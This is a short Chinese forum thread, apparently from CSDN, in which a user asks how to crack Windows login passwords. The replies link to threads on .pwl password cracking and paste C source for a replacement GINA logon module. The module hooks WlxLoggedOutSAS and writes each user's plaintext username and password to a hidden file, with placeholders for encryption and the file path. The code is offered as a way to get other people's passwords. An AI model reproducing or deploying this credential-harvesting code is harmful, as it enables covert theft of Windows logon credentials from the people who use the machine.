如何解Windows登陆密码？

[wooingcn]

[111222]

http://www.csdn.net/expert/Topic/53/53731.shtm

[111222]

http://www.csdn.net/expert/Topic/49/49191.shtm
主　　题：如何破解windows's *.pwl密码？？
http://www.csdn.net/expert/Topic/5/5173.shtm
主　　题：谁能给我查看.pwl文件口令的原代码和查看编辑控件中的'**'的功能的原代码?

[binghuodao]

够牛的，没安全感了

[panda_w]

贴一段：
6:怎样得到NT用户的密码

Microsoft actually document how to do this (it's a common requirement for programs which need to log into a database using the users own security credentials).

Look at the GINASTUB sample which comes with the Win32 Platform SDK. Essentially, the technique consists of replacing the default GINA with your own, then having your GINA LoadLibrary the default one and call its entry points as required, grabbing the data as it flies past. I have reproduced the important function here, with my own code added for saving the username and password to a file in ANSI format.

int WINAPI WlxLoggedOutSAS (PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
HANDLE hFile ;
DWORD dwBytesWrit ;
TCHAR szBuffer [130];
TCHAR szUserName [64];
TCHAR szPassword [64];

iRet = GWlxLoggedOutSAS (pWlxContext,
dwSasType,
pAuthenticationId,
pLogonSid,
pdwOptions,
phToken,
pMprNotifyInfo,
pProfile);

if (iRet == WLX_SAS_ACTION_LOGON)
{
WideCharToMultiByte (CP_ACP, 0,
pMprNotifyInfo->pszUserName,
-1,
szUserName,
sizeof (szUserName),
NULL, NULL);

WideCharToMultiByte (CP_ACP, 0,
pMprNotifyInfo->pszPassword,
-1,
szPassword,
sizeof (szPassword),
NULL, NULL);

wsprintf (szBuffer, "%s,%s\n",
szUserName,
szPassword);

< insert code here to encrypt the data in szBuffer >

hFile = CreateFile (< Some unique filename in a fixed location >,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (hFile != INVALID_HANDLE_VALUE)
{
WriteFile (hFile,
(LPCVOID)(szBuffer),
(DWORD)(strlen (szBuffer)),
&dwBytesWrit,
NULL);
CloseHandle (hFile);
}
}
return iRet;
}

[wooingcn]

谢谢panda_w(好想睡啊！)捧场，大伙有没有98的，虽然98里可以把密码删去，但这次我要解了它。

[wooingcn]

谢谢大伙捧场，给分了